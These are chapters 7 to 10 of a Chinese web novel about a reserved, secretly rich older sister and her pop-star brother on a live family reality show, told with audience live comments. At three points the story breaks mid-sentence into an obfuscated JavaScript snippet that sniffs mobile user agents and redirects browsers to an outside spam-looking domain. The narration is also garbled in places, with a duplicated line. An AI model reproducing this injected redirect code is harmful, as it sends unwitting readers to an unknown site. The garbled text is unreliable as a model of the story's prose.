《叛逆顶流的病弱亲姐》 7. 第 7 章 江知雾向来低调,从不接受财经杂志的专访,也鲜少在公众面前露面,在场的人也就无从得知她的真实身份。 江知雾也懒得去解释这个误会,只是轻轻“嗯”了一声,算是肯定了“白领”这个称谓。 沈聿笑了笑,随口道:“白领也挺好,女孩子嘛,有个体面的工作安身立命就够了。” 他这话多少带了点对性别的偏见。 江砚舟听得刺耳,毫不留情地反问:“按你这意思,合着干什么工作、能有多大追求,还得看染色体?” 沈聿张了张嘴,被一句话问得哑口无言。 “嗯,其实安稳的节奏也挺让人羡慕的。”黄芷禾出来打圆场,“白领朝九晚五,不用操心太多杂事,下班了还能约着逛逛街、做做饭,多舒服啊。不用像我们这样到处跑通告,熬夜拍戏。” 她又转头看向江砚舟:“砚舟你也别往心里去,沈老师他就是随口一说,没别的意思。咱们这行太特殊,常年不着家,压力又大,他大概是觉得女孩子不用这么辛苦吧。” 沈聿眉头一松,往黄芷禾身上多看了一眼。 后者对他回以温柔的笑。 江知雾淡淡地抬起眼,那双清冽沉静的眸子像平静无波的湖面,缓慢、清晰地扫过沈聿,最后定格在黄芷禾带着完美微笑的脸上。 黄芷禾的笑意僵了僵:“怎么了?” “辛苦和压力,不是只有站在聚光灯下的人才有。”江知雾冷淡地说,“写字楼里亮到深夜的灯光,地铁末班车挤满疲惫的人,他们为了一份方案熬红的眼,为了一个订单磨破的嘴,和一场戏吊威亚摔出的伤、为一首歌练到沙哑的嗓子,本质上没什么不同。” 空气静了两秒,黄芷禾有些哑口无言。 弹幕上有人附和: 【说得也是,白领就不辛苦了吗?劳资天天被主管骂,不想无偿加班就得被炒鱿鱼,发际线都后移了。】 【谁懂啊!我就是那个加班到深夜赶方案的,狠狠代入】 【黄芷禾怕不是活在真空里?真以为白领都岁月静好啊】 【我们黄芷禾只是好心帮沈聿解围,而且明星就是很辛苦啊。】 【明星那么辛苦至少赚的钱多吧,哪像我,勤勤恳恳三十天,一看月薪三千五。】 【对江砚舟无感,不过他反驳沈聿这种“女孩子不用太辛苦”的论调,听着有点爽。】 …… 在密密麻麻的弹幕里,突然飘过一条:【就我一个人好奇吗?江姐姐明明只是个白领,哪来的钱住豪华大别墅啊?】 但大家争论的焦点都在刚刚的谈话上,这条弹幕很快就被更多新的弹幕顶了上去,没引起什么注意。 眼看气氛有些冷场,导演连忙敲了敲桌子,顺势转入下一个话题: “马上就到饭点了,不过开饭前,咱们需要先玩一个游戏。” 见大家的注意力都被吸引过来,导演干咳一声,接着说道: “这个游戏叫《你来提问我来答》。我这儿收集了些网友的提问和小挑战,大家按顺序抽卡片,抽到的人要回答卡片上的问题,或者完成对应的挑战。” 李柏觉着有意思,积极道:“我来抽!” 导演把卡片打乱顺序,让李柏随机抽取一张。 他故作神秘地“哇”了一声,吊足观众胃口后,才对着镜头展示了一下自己的卡面: “我抽到的问题是提问温景前辈的。请问温景前辈,为什么会决定参加这档综艺呢?” 温景笑眯眯地吐出三个字:“欠人情。” 这三个字说得太快,以至于连昂贵的直播设备都无法收录。 李柏掏了掏耳朵,歉意道:“啊?您能再说一遍吗?” 在摄像头扫过来的时候,温景又恢复了端庄的姿态:“感谢这位网友的提问。决定来参加这档亲情综艺,首先是因为节目本身传递的‘亲情无距’的理念特别打动我。” “——无论是朝夕相处的家人,还是平时联系不算频繁的远亲,那份血脉里的联结其实一直都在,我觉得这样的主题很有温度,也值得被更多人看见。” 官方的回答,完美到挑不出一丝错。 抽卡片的人轮到了下一位嘉宾。 江知雾瞄了眼卡片,说道:“我抽到的是快问快答挑战,请李柏、李乐乐兄妹作答。” 李柏和李乐乐紧张地点点头。 “妹妹喜欢吃香菜吗?” 李柏:“喜欢!” 李乐乐:“不喜欢!” “哥哥会吃辣吗?” 李柏:“不吃!” 李乐乐:“吃!” “上学的时候一般排名多少?” 李柏:“倒数第一。” 李乐乐:“倒数第二。” 快问快答结束,这对双胞胎兄妹只在学习上展现出了该死的默契。 【哈哈哈哈哈双胞胎感情破裂。】 【笑死了这俩活宝,长这么大竟然从未观察过彼此的喜好。】 【没事嘟没事嘟,至少你俩还有倒一和倒二的战略友谊。】 【楼上的你也没放过他们hhh。】 李乐乐对哥哥翻了个白眼:“我不吃香菜你不知道?” 李柏不甘示弱:“我什么时候会吃辣的?” 眼看兄妹俩快掐起来了,导演赶紧示意下一位嘉宾抽卡片。 沈聿随手拿起一张:“唔,这张卡片是考验江汀对姐姐的了解程度的。” 江汀闻言一怔,原本靠在椅背上的脊背霎时僵硬几分,不动声色地朝黄芷禾投去一瞥。 摄像头精准捕捉到他线条紧绷的侧脸轮廓,弹幕瞬间涌来一片鼓励: 摄像头扫在他略微紧绷的侧脸轮廓上,弹幕纷纷鼓励: 【听说虽然弟弟跟芷禾是同父异母的关系,但两人的关系很好呢。】 【芷禾这么温柔的人,很难有谁不喜欢她。】 【弟弟加油!肯定难不倒你】 沈聿道:“请在五秒钟内,尽可能多的说出姐姐演过的作品。” 江汀似乎对这个问题有所准备,神情不由自主一松:“《星尘坠落时》《被遗忘的代号》《四季流转的我们》《老街烟火记事》。” 他一口气念出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085063|179541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了四个。 沈聿随口说:“这么快?看来你挺了解你姐姐的。” “那当然。”黄芷禾神色微闪,“小汀总会特意关注我的作品。” 弹幕上又是一片夸赞: 【就算是老粉面对这个问题,也得稍微想一下答案,可见小汀真的很爱姐姐了。】 【只能说我们芷禾值得。】 …… 下一回合,轮到黄芷禾抽卡片。 下一回合轮到黄芷禾抽卡。她指尖轻捏着卡片翻转,看清字迹的瞬间,眉头几不可察地蹙起。 “呀,竟然抽到了问自己的问题呢。”她语声轻柔,带着恰到好处的惊讶。 跟拍PD迅速把镜头推近,卡面上赫然写着:“to芷禾,听说弟弟在读A大,他是什么专业的呀?” “A大?”李乐乐眼睛一亮,惊叹道,“弟弟是高材生啊!” A大是国内有名的百年学府,金融学、农学、电气都是其中的王牌专业。 对她这样的学渣来说,A大简直是遥不可及的存在。 黄芷禾带着一丝不易察觉的犹豫:“他读的是……嗯……”她轻咬了一下下唇,像是有些难以启齿,“就是研究种地的专业啦。” 江汀斜睨她一眼,搁在膝盖上的手指几不可查地动了动,终究什么也没说。 “那应该是农学。”不远处忽然传来清冷的女声。 江汀循声望去,正对上坐在斜对面的江知雾。 “A大农学系的作物遗传育种实验室是国家级重点实验室,”她目光平静地看向江汀,“分子标记辅助育种技术更是国际领先。你现在主攻哪个方向?” “物联网灌溉和生物防治技术。” “略有耳闻。”江知雾点点头,“听说你们系近年来在智慧农业方面成果显著,所研发的物联网灌溉系统,能精准控制每一株作物的用水量,节水率高达40%。” 李乐乐有听没懂,只知道他们在谈论一项很牛比的东西,于是鼓了鼓掌:“能让大家吃饱饭,是最了不起的事啊!” 江汀紧抿的唇角终于舒展些许:“我现在也只是学了些皮毛。” 黄芷禾看他们相谈甚欢,眼底掠过一丝不悦,刻意提高声音岔开话题:“对了,下一位该谁抽卡了?” 江知雾淡淡看了她一眼,收回视线。 略微侧过头时,正巧听见江砚舟酸溜溜地说:“家禽没得野味甜,家花哪有野花香!” 江知雾:“……” 这小子突然念什么莫名其妙的打油诗? 轮到李乐乐的抽卡环节,她像只雀跃的小兔子从导演手里胡乱抓过一张,念道:“江姐姐平时会听弟弟创作的歌吗?最喜欢哪首?” 听到这个问题,江砚舟本就不怎么高兴的脸彻底耷拉下来。 他姐脑子里装的不是合同条款就是商业数据,哪有半分闲心听他捣鼓那些旋律? 前阵子他把新写的demo发给身边的人试听,江知雾到现在都没回一个字,反倒是管家李叔还点了个赞。 恐怕在江知雾眼里,他写歌唱歌都被视作不务正业吧? 8. 第 8 章 江砚舟正暗自腹诽,冷不防听见身旁传来清浅的声线。 “会啊。” 他猛地转头,江知雾正对着镜头,大厅的顶灯在她发梢镀上一层柔光,平日里总是紧绷的下颌线柔和了些许,“我会听。” 没等众人反应,她已经轻轻唱了起来。 是江砚舟刚出道时唱的第一首歌曲,也是让他一炮而红的成名作。 调子很简单,像春日午后掠过窗台的风,带着点漫不经心的温柔。 “这是我最喜欢的一首。”江知雾唱完最后一个音符,尾音轻得像叹息。 “哇!江姐姐唱歌也好好听!”李乐乐追问:“你为什么最喜欢这首呀?” 周围的摄像机沙沙转动,所有人的目光都落在江知雾身上。 她抬眼,目光越过人群,精准地落在江砚舟脸上,平静的眼眸里像落了片羽毛,轻轻拂过。 “因为这是我弟弟很久之前为我写的歌。” 【怪不得这首歌听起来总是暖洋洋的,原来是写给姐姐的呀。】 【抛开人品不提,江砚舟的歌还是有水平的。】 【很久之前是多久?年纪还小的话真能写出这种一曲封神的歌吗?】 江知雾现在还记得那个静谧的午后,十三岁的小砚舟抱着一本磨得卷边的乐理书,像只急着献宝的小兽,拽着正要去看书的江知雾的衣角,巴巴地往钢琴边拉。 “姐,你等等!就一小会儿!”他的声音里带着少年人特有的雀跃,还有点不易察觉的紧张,“我写了首歌,想唱给你听。” 那首破亿万播放量的曲子,就诞生于他指尖下。 李柏忍不住感叹:“这是一首有温度的歌。” 江砚舟神色略显复杂。 原来她还记得。 只是随意弹唱出的曲调,却被江知雾一个字不差地记了这么多年。 他喉结干涩,一句话都说不出口,却没发现自己注视着姐姐的目光,究竟有多么闪闪发亮。 “江知雾……” 翻涌的情绪还未来得及平复,江砚舟就听到姐姐小声松了口气: “幸好没问我还会唱什么。” 江砚舟瞬间气结,凶巴巴地瞪了她一眼。 江知雾唇角却漾开浅浅的笑意。 逗弟弟真好玩。 但很快,笑意慢慢从她脸上褪去,江知雾的神色重新沉了下来。 正是刚刚这首歌,将会在未来被打上“抄袭”的标签,不明真相的人打压,嘲讽,将歌曲拉下神坛,踩进泥里。 ——不过这一次有她在。 只要她没死,那些脏水就别想泼到江砚舟身上。 饭前小游戏结束后,导演举着喇叭站在露天庭院里,脸上挂着不怀好意的笑:“既然已经到饭点,也是时候——做饭了!” “今晚的晚餐,各位嘉宾请自行解决。看到你们面前搭好的灶台了吗?每组一个,今晚的晚餐,自己动手丰衣足食!” 话音刚落,人群里立刻响起李乐乐的哀嚎。 “导演您也太狠了吧!连晚饭都得自己做啊!” 导演笑眯眯地赞同:“就是这么狠。” 看着导演身后临时搭建起来的简陋灶台,上面架着崭新却透着廉价感的不锈钢炒锅,旁边散落着几个煤气罐,嘉宾们面面相觑。 “不是吧,这灶台看着也太简易了,能行吗?”李乐乐小心翼翼地碰了碰灶台的砖块,生怕它会塌掉。 沈聿则盯着煤气罐,隐隐不耐烦:“这玩意儿怎么用啊,我平时根本就没进过厨房。” 江知雾和江砚舟被分到了最边上的一组,江知雾走到灶台边,刚想看看怎么操作,就听见隔壁传来“咔哒”一声。 黄芷禾已经系好了围裙,正熟练地打开煤气罐阀门,点燃了灶火。 蓝色的火苗蹿了起来,她回头对着镜头露出一个温婉的笑容:“这种临时灶台看着简单,但用起来也得注意安全,还好我在家经常做饭,对这些不陌生。” 江汀喉间发出一声几不可闻的嗤笑。 粉丝没注意到他的反应,纷纷吹彩虹屁: 【黄芷禾也太厉害了吧,这么快就上手了。】 【我一男的也被圈粉了,黄芷禾这一看就是会过日子的人。】 【果然是贤惠的女孩子,比那些啥都不会的强多了】 江知雾视线漠然地抽离,蹲下身继续研究着面前的灶台。 “江姐姐,这个给你。”李柏拿着一条围裙走了过来,殷勤道,“这灶台虽然是临时搭的,但炒起菜来油烟也不小,你戴上围裙,别把衣服弄脏了。” 江知雾轻轻推拒:“谢谢,不过我用不上。” 李柏挠了挠头,略显尴尬地补充:“也是,这条看着确实有点皱巴巴……要不我再去跟节目组要条新的?” “不必了。”江知雾向他解释,“我们组负责做饭的是砚舟。” “啊?!!!” 李柏一脸“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085064|179541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在开玩笑”的表情:“他?他会做饭?” 在他的印象里,江砚舟分明是个性子又冷又傲的大少爷,浑身上下都透着“五谷不分”四个大字,怎么看都跟厨房搭不上边。 直播间的弹幕也炸开了锅: 【???江砚舟会做饭?我没听错吧!】 【别是什么只会煮泡面的水平吧,已经开始期待翻车现场了。】 【真是为了立人设什么谎话都说得出来啊……】 恰在此时,江砚舟提着锅铲和蔬菜,快步从里间出来。刚抬眼,就见李柏正杵在江知雾的边上,神态热络地说着什么。 他不悦地抿起唇。 江知雾跟别人说话时,原来有这么多话可讲? 那为什么平日里跟自己相处,却总是三言两语就冷了场。 不远处的李柏莫名觉得后颈一阵发凉,冷不丁抬眼,就撞进了江砚舟冷飕飕的眼神。 他下意识挠了挠头,赶紧找个借口开溜。 江知雾捏着手里的围裙转了个圈,目光落在不远处提着锅铲和蔬菜的江砚舟身上,忽然弯起唇角喊:“江砚舟,过来。” 少年闻声抬眼,眼神里还带着点没散的冷意,脚步却诚实地挪了过来,只是走到她面前就停下,梗着脖子问:“干嘛?” “这灶台我不会用。”江知雾用下巴点了点面前的锅,“今晚的晚饭交给你,可以吗?” 把他喊过来,就只是为给她做饭? 当他是随叫随到的工具人吗! 江砚舟越想越气,一股无名火直冲头顶,胆子也跟着肥了起来。 他猛地将锅铲往灶台上一丢,带着怒意质问:“江知雾,你自己没手做饭吗?” 江知雾被他这突如其来的质问噎了一下,明显愣了愣神。 她依言从灶台边站起,许是方才蹲得久了,起身时一股眩晕感猝不及防地涌上来,眼前瞬间蒙上一层白雾,身体也不受控制地晃了晃。 “小心!” 江砚舟瞳孔骤缩,方才那点怒气瞬间被惊慌冲散。 他几乎是凭着本能往前跨了一大步,伸手稳稳扶住她的胳膊,语速快得有些反常:“你怎么了?没事吧?” 江知雾看着他紧张的面色,眼珠一转,到嘴边的安抚变成了撕心裂肺的咳嗽。 “我……不太舒服。” “哪里不舒服?” “我胳膊使不上力气。”江知雾虚弱地说,“……咳咳,好像拿不动锅铲。” 9. 第 9 章 江砚舟眯起眼睛,视线在江知雾苍白的脸上打了个转。 方才她那瞬间的眩晕瞧着不像作假,可这恰到好处的咳嗽,还有那句“胳膊使不上力气”,怎么听都透着股刻意。 况且,这人还有拿健胃消食片欺骗过自己的前科! 江砚舟拿不定主意,一半觉得江知雾在演戏骗他干活,一半又忍不住犯嘀咕——万一她是真的不舒服呢? 正纠结着,江知雾的咳嗽却骤然变本加厉。她佝偻着背,一只手紧紧按住胸口,像是要把肺都咳出来似的,每一声都带着气若游丝的虚弱。 “喂!你别吓我啊!”他慌了神,“是不是刚才我跟你吵架,把你气着了?我错了还不行吗!你别咳了……” 江知雾似乎是咳得说不出话,只是摆了摆手。 江砚舟看着她这副模样,赶紧跑上楼随手取了件衣服,垫到江知雾身下的草坪,手忙脚乱地想扶她坐下。 “你、你先坐会儿。” 江知雾从喉咙中挤出支离破碎的声音:“咳咳,晚饭……” “行了行了,我做就我做,你赶紧歇着去!” “哦。”江知雾一秒恢复正常。 人不虚弱了,面色不苍白了,连咳嗽也停了,顺便还得寸进尺地要求,“再帮我洗一些樱桃来,谢谢。” 江砚舟:“……” 他突然就有了种强烈的上当受骗感。 【哈哈哈哈哈江砚舟走过最长的路,就是姐姐的套路。】 【我不行了,突然get到了这对姐弟的萌点怎么办!】 【等等,江姐姐坐着的那件衣服看起来怎么有点眼熟?】 【!!这不是上回江砚舟拍PV时穿的那件吗!据说是天价定制的!】 【我靠,天价打歌服就随手拿来给姐姐垫着?】 观众对江砚舟的大手笔咂舌不已,而顶流本人系着围裙,黑着脸回到灶台旁,准备弄晚饭。 其实他厨艺不算差,之前看江知雾每天吃外卖应付,还特意钻研过一段时间的厨艺,厨房早就摸得熟门熟路。 此刻静下心来,倒油、热锅、下菜一气呵成。切菜时刀刃在案板上敲出规律的笃笃声,翻炒时锅铲与铁锅碰撞出轻快的脆响,连火候都掌握得恰到好处。 不过毕竟是急着出锅,难免有些手忙脚乱。等终于把两菜一汤端上桌时,他的额角已经沁出细密的汗珠,几缕碎发被沾在皮肤上。 看着桌上油亮的红烧排骨和翠绿的清炒时蔬,其他嘉宾眼底闪过一丝讶异。 李乐乐凑过来看了看:“哇,卖相不错啊!” “辛苦了。”江知雾由衷地说。 江砚舟别开脸,不自在地说:“尝尝。” 江知雾拿起筷子尝了尝,排骨炖得酥烂入味,时蔬清爽可口,比家里阿姨做的还要合胃口。 她弯起眼睛,毫不吝啬夸奖:“手艺越来越有进步了。” 江砚舟耳尖倏地泛起薄红:“也就勉强能吃,没发挥好。” 弹幕都在嘲笑他: 【哟哟哟,是谁嘴上不在意,但是耳朵红得能滴血了?】 【是偷偷等着姐姐夸的小学鸡没错了~】 【救命!顶流这口是心非的样子也太好玩了吧!】 【呜呜呜主要是江姐姐笑着夸那一句,换谁能顶得住啊!】 …… 没过多久,其他嘉宾也陆陆续续完成了自己的菜品。 温景的厨艺算不上顶尖水准,但几道家常菜做得也算中规中矩。沈聿顾忌着维持温柔绅士的人设,不情不愿地在一旁帮忙打下手。 李柏和李乐乐这一组干脆彻底摆烂,直接煮了一大锅捞面条,两人吃得那是涕泗横流,痛不欲生。 而女主黄芷禾明明是最早开火的一组,却成了最晚吃上饭的人。 原因无他——她做的菜实在太多了。从黄昏时分一直忙到晚上七八点,满满一大桌菜肴才终于悉数上桌。 作为她的搭档,江汀自然没理由闲着,忙到最后饿得狠了,期间直接生啃了个黄瓜。 黄芷禾见状,立刻露出心疼的神色,递过一块糕点柔声叮嘱:“慢慢吃,别急。” 弹幕自然又是一片夸赞之声。 到了九点多,所有嘉宾总算忙完了当天的任务,拖着疲惫的身躯各自回了房间。 江知雾打开手机,发现微博弹出了几条新消息提示。 她点进那个名为“雾”的小号,看到七小时前有一条私信: 【画手您好,想问问您微博上发布的这几张画作是否考虑出售?】 隔了几分钟,这人又补充: 【我是娱乐圈的知名导演,觉得您的画作特别符合新戏的角色造型设计,想向您购买版权,价格方面好商量。】 江知雾没有回复他。 现在的骗子手段真是花样百出,连“知名导演”这种身份都编出来了,一看就是骗人的。 退出私信界面,江知雾在推送上无意中看到了江砚舟的名字。 她点进去,发现是营销号上传的切片视频,标题是“江砚舟乖巧洗手做羹汤,天价打歌服沦为坐垫”。 这个出圈视频吸引了一波路人网友: 【看到标题我以为我眼瞎了,江砚舟居然能和“乖巧”两个字搭上边?!】 【坐在顶流打歌服上吃樱桃的人是何方神圣?居然能让顶流这么听话。】 【这位是江砚舟的姐姐,建议直接看《推开家门是你》的综艺直播回放,江姐姐装病那会儿笑死我了。】 【这对姐弟不管是颜值还是互动都是全综艺最有看点的。】 【呵,只是刚开播一天反响不错就敢称“最”字了?我们黄芷禾那组也很温情,很有看点的好吗?】 【江砚舟也是被姐姐拿捏住了哈哈哈哈】 【有点被安利成功了,我倒要看看这档综艺到底有多好玩。】 …… 这条营销号发的视频很快被顶成了热门,连路人网友都纷纷表示要蹲直播看个究竟。 江知雾眼底掠过一丝无奈的笑意。 这小子,上综艺才一天就闹出这么大动静,果然走到哪儿都自带话题体质。 她退出视频界面,刚想放下手机,房门就被轻轻叩响了。 “叩叩叩——” “进。”江知雾扬声应道。 门被推开一条缝,江砚舟的脑袋探了进来,乌黑的发梢还带着刚洗过的潮气,额前碎发软软地搭着,少了几分镜头前的锐气,多了些少年气的乖巧。 “还没睡?”他小声问,视线飞快扫过房间,最后落在江知雾握着手机的手上。 “刚准备睡。”江知雾放下手机,拍了拍床边,“有事?” 江砚舟犹豫了一下,还是推开门走了进来。他穿着一身灰色的纯棉睡衣,双手背在身后,脚步放得很轻,像只小心翼翼的大型犬。 “那个……”他磨磨蹭蹭地走到床边,从背后拿出一个小小的保鲜盒,递到江知雾面前。 “这个给你。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085065|179541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >江知雾接过盒子打开,里面是一颗颗圆润饱满的樱桃,晶莹剔透,显然是精心挑选过的。 “洗好了?”她有些意外。 “嗯。”江砚舟点头,眼神飘向别处,“看你下午爱吃,节目组送的水果里还有,就顺手洗了点。” 说是顺手,可这盒樱桃洗得干干净净,连梗都摘得整整齐齐,显然费了不少心思。 江知雾拿起一颗放进嘴里,清甜的汁水在舌尖蔓延开来。她弯起眼睛,笑得眉眼弯弯:“谢谢。” 少年故作镇定地说:“没什么,你赶紧吃了睡吧,明天还要早起。” “好。”江知雾应着,又拿起一颗递给他,“你也吃。” 江砚舟愣了一下,下意识伸手接过来,塞进嘴里。 他嚼了两下,含糊不清地说:“那我先走了。” “嗯。” 江砚舟转身往门口走,走到门口时又停下脚步,回头看了一眼。 “晚安。”他低声说。 “晚安。”江知雾抬起头,对他笑了笑,“今天辛苦你了,晚饭很好吃。” 江砚舟轻哼一声,随后门被轻轻带上,隔绝了两个房间的光线。 * 次日清晨。 嘉宾们刚吃完早饭,导演就拿着任务卡走进来,脸上带着几分不怀好意的笑: “各位嘉宾注意了,接下来是今天的第一个任务——两小时内自行前往云栖观景园集合,超时的队伍将接受惩罚。” 温景扫了眼地图,挑眉:“如果我没记错的话,云栖观景园离这里有十几公里吧?” 李柏已经掏出手机打开地图,皱眉道:“我看看路线……开车都得半小时,这附近荒郊野岭的,哪有车啊?” 众人纷纷拿出手机查看打车软件,屏幕上统一显示着“暂无可用车辆”,连网约车都显示需要等待一小时以上。有人不死心问节目组:“附近有公交站吗?” 导演摊手:“抱歉,这一带是新建的民宿区,公交还没通呢。” 江知雾闻言抬眼看向窗外。 这地方确实偏僻,昨晚她查地图时就发现,周围三公里内连个便利店都没有,更别说公共交通了。 众嘉宾正思忖着,就见李柏眼睛一亮,拽着李乐乐站起来:“有了!门口路边停着共享电动车!” 两人风风火火往外冲,路过江知雾身边时,李乐乐还不忘回头挥挥手:“江姐姐我们先走啦,你们也赶紧想办法!” 江知雾轻轻点了点头。 两人的身影刚消失在院门,黄芷禾就为难地开口:“怎么办,我穿着裙子,骑共享单车可能有些不方便。” 江知雾握着牛奶杯的手指微顿。 来了。 她没记错的话,原书里就是这个剧情点。 在黄芷禾说出这句话后,沈聿不知从哪调来几辆限量版超跑,载着黄芷禾还有其余几位嘉宾,风风光光地赶到目的地,靠着“骑士精神”“男友力”狂吸一波好感。 而江砚舟当时正巧在找民宿老板借摩托车,等骑车出来的时候,自己的临时搭档已经先坐沈聿的车走了。镜头拍下他那面无表情的侧脸,配上“顶流江砚舟拒载弱质女流”的通稿,直接让江砚舟被贴上了“耍大牌”“没风度”的标签,一时间辱骂声铺天盖地。 回过神时,沈聿已经大包大揽地拍着胸脯,朝黄芷禾表示自己有办法解决问题。同时意有所指般瞥了眼没什么表示的江砚舟。 江知雾看在眼里,眼底掠过一丝极淡的嘲弄。 10. 第 10 章 沈聿清了清嗓子,对黄芷禾安抚道:“别急,我联系了‘星驰’的人,让他们安排几辆车过来。” 他的语气带着恰到好处的从容,仿佛只是在说一件再平常不过的事 “星驰?!”黄芷禾微微拔高了音量,“沈老师您是星驰的会员?” 星驰是传说中有钱都进不去的顶级豪车俱乐部,就算想砸钱,也得考量对方的社会影响力和圈层资质。 可以说,能成为星驰的会员,本身就是一种社会地位和财力的象征。 沈聿微微扬眉,看似随意地点了点头:“嗯,前几年机缘巧合入的会,算起来也算是资深会员了。” 网友纷纷惊叹: 【我光知道沈聿家里有钱,没想到这么有钱。】 【难怪他刚才一点都不急,原来早就有后手了,这才是真?云淡风轻啊】 黄芷禾适时露出惊讶又感激的表情,双手交握在身前:“沈老师您也太贴心了,那真是太麻烦您了……” “举手之劳。”沈聿笑着摆摆手,目光转向站在角落的江知雾和江砚舟,“江老师,知雾,反正车子够宽敞,不如一起走?总比在这里耗着强。” 江砚舟连眼皮都没抬一下,不动声色地往前半步,恰好将江知雾挡在身后:“不用。” 沈聿没有理他,目光在江知雾脸上停顿了两秒,像是在期待她露出惊讶或艳羡之类的表情。 可江知雾只是迎着他的视线,扬了扬眉。 星驰就是她名下的资产,是父母还没出意外离世前,送给她经营着玩的。 沈聿干嘛为了个俱乐部会员得意成这样? 看着她毫无波澜的反应,沈聿心里莫名窜起一丝怪异感,却又说不上来哪里不对,只当是这对姐弟故作镇定,便又挤出温和的笑:“别客气啊,多两个人也不挤的。” 江知雾这才缓缓开口,声音清清淡淡的:“不必了,说不定星驰今天不营业呢。” 沈聿被她这句没头没尾的话噎了一下,眉头微蹙:“怎么会?星驰全年无休,从没听说过停业的事。” 直播间里的骂声凶狠—— 【不是吧?星驰的车都不坐?这姐弟俩怕不是脑子有问题?】 【真把自己当根葱了?沈聿好心邀请还拿乔,生怕别人不知道他们姐弟俩特立独行是吧?】 【我算是看明白了,这俩就是故意的,知道沈聿在镜头前不好发作,故意给人难堪呢!】 【之前还觉得江知雾挺有气质,现在看来跟她弟一样讨人嫌。】 【什么玩意儿啊,不识抬举的东西,祝他们走路过去,走到天黑!】 …… 沈聿只以为他们是出于拉不下面子才拒绝的,不由优越感更甚。 沈家本是暴发户起家,论财力与影响力,向来远不及根基深厚的江家。从前他与江知雾联姻时,背后多少人酸溜溜地说他是“攀了高枝”,那些话像根细刺,扎在他心头好些年。 如今在“失势”的江知雾面前,他也总算能扬眉吐气了。 念头转过,他脸上已换上副惋惜的神情:“既然这样,那我就不勉强了。” 他转身对黄芷禾和其他几位嘉宾做了个“请”的手势,语气重新变得热络:“车子应该快到了,我们先去门口等着吧。” 江知雾等他们走远了,才慢悠悠地掏出手机。 屏幕亮起,她找到备注为“星驰-秦”的联系人,指尖飞快地敲下一行字:“今日星驰暂停对外营业,所有预约订单全部取消,无论会员等级,概不接单。” 消息发送成功的提示弹出不过三秒,对方就回了个简洁的“好的”,没有半句多余的询问。 江砚舟站在一旁,看到姐姐在玩手机也没多问。 他知道,江知雾从不做多余的事。 * 沈聿带着黄芷禾等人刚走到门口,工作室已经趁此机会,放出了沈聿的精修图。 那组照片显然是提前准备好的存货,有坐在迈巴赫驾驶座的特写,也有他站在星驰俱乐部金色徽章前、被十几辆顶级豪车众星捧月般围着的合影。 每张照片都经过专业团队的精修,色调高级,构图十分讲究。 各大营销号像是收到统一指令,几乎在同一时间转发了这组照片。 “谁懂啊家人们!蹲《推开家门是你》直播间也是被我看到真霸总了。” 评论区如同过年一般热闹: 【救命!这组图我能舔到明年!西装革履配豪车,这杀伤力谁顶得住啊】 【一个电话叫来这么多豪车,这才是小说里的真男主吧。】 【对比某些姐弟那不识好歹的样子,更觉得沈聿人帅心善了,好心当成驴肝肺,心疼我哥。】 这波操作把不少路人也吸引了进来,有人问: 【星驰?是我想的那个星驰吗?它居然能把车调过来接人?!】 【只要钱到位,会员等级到位,什么车不能帮你弄过来?】 【能让星驰为他安排车辆,还是在这种直播场合,可见他在俱乐部多有面子。】 【难怪他在娱乐圈那么低调,人家根本不缺这点资源,纯粹是热爱吧。】 【看他对黄芷禾他们那么绅士,细节见人品,果然优质男性都是全方位优秀的。】 在巨大的讨论度下,没过多久,“星驰”的入会门槛也被扒了出来。大家看到堪称苛刻的申请条件,不由对沈聿“贵公子”的人设加深了认知。 沈聿工作室的后台数据一路飙升,团队成员看着不断上涨的粉丝数和讨论量,脸上都露出了得意的笑容,只觉得这波热度捞得实在漂亮。 而此时,沈聿正半靠在罗马柱旁,眼神时不时瞟向路口,嘴角始终挂着游刃有余的笑。 温景看了眼腕表:“小沈,你叫的车应该快到了吧?” 沈聿轻咳一声:“别急,顶级俱乐部的服务讲究精准,说好了时间就不会差。毕竟是为各位老师准备的,不能出半点岔子。” 这话既抬高了同行,又不动声色地彰显了自己的排面,直播间的弹幕瞬间又被捧杀淹没: 【呜呜呜沈聿也太会说话了!明明是他的面子大,还说是为了大家】 【羡慕两个字我已经说累了】 可时间一分一秒过去,空荡荡的大马路还是不见车的影子。 起初的从容渐渐被一丝不耐取代。 按照星驰的效率,别说安排几辆车,就算是临时调动一支车队也该到了。可眼下,门口除了呼啸而过的冷风,连辆像样的车影都没见着。 黄芷禾察觉到他的异样,柔声打圆场:“沈老师,是不是路上堵车了?要从二环开出来,偶尔是这样的。” 沈聿回过神,强压下心头的躁意,重新挂上那副云淡风轻的笑:“应该是,再等等。” 可这一等,又是十分钟过去。 直播间的风向悄然转变—— 【不是吧?说好的星驰呢?车呢?】 【我蹲了半天就看你们在门口喝西北风?沈聿怕不是吹 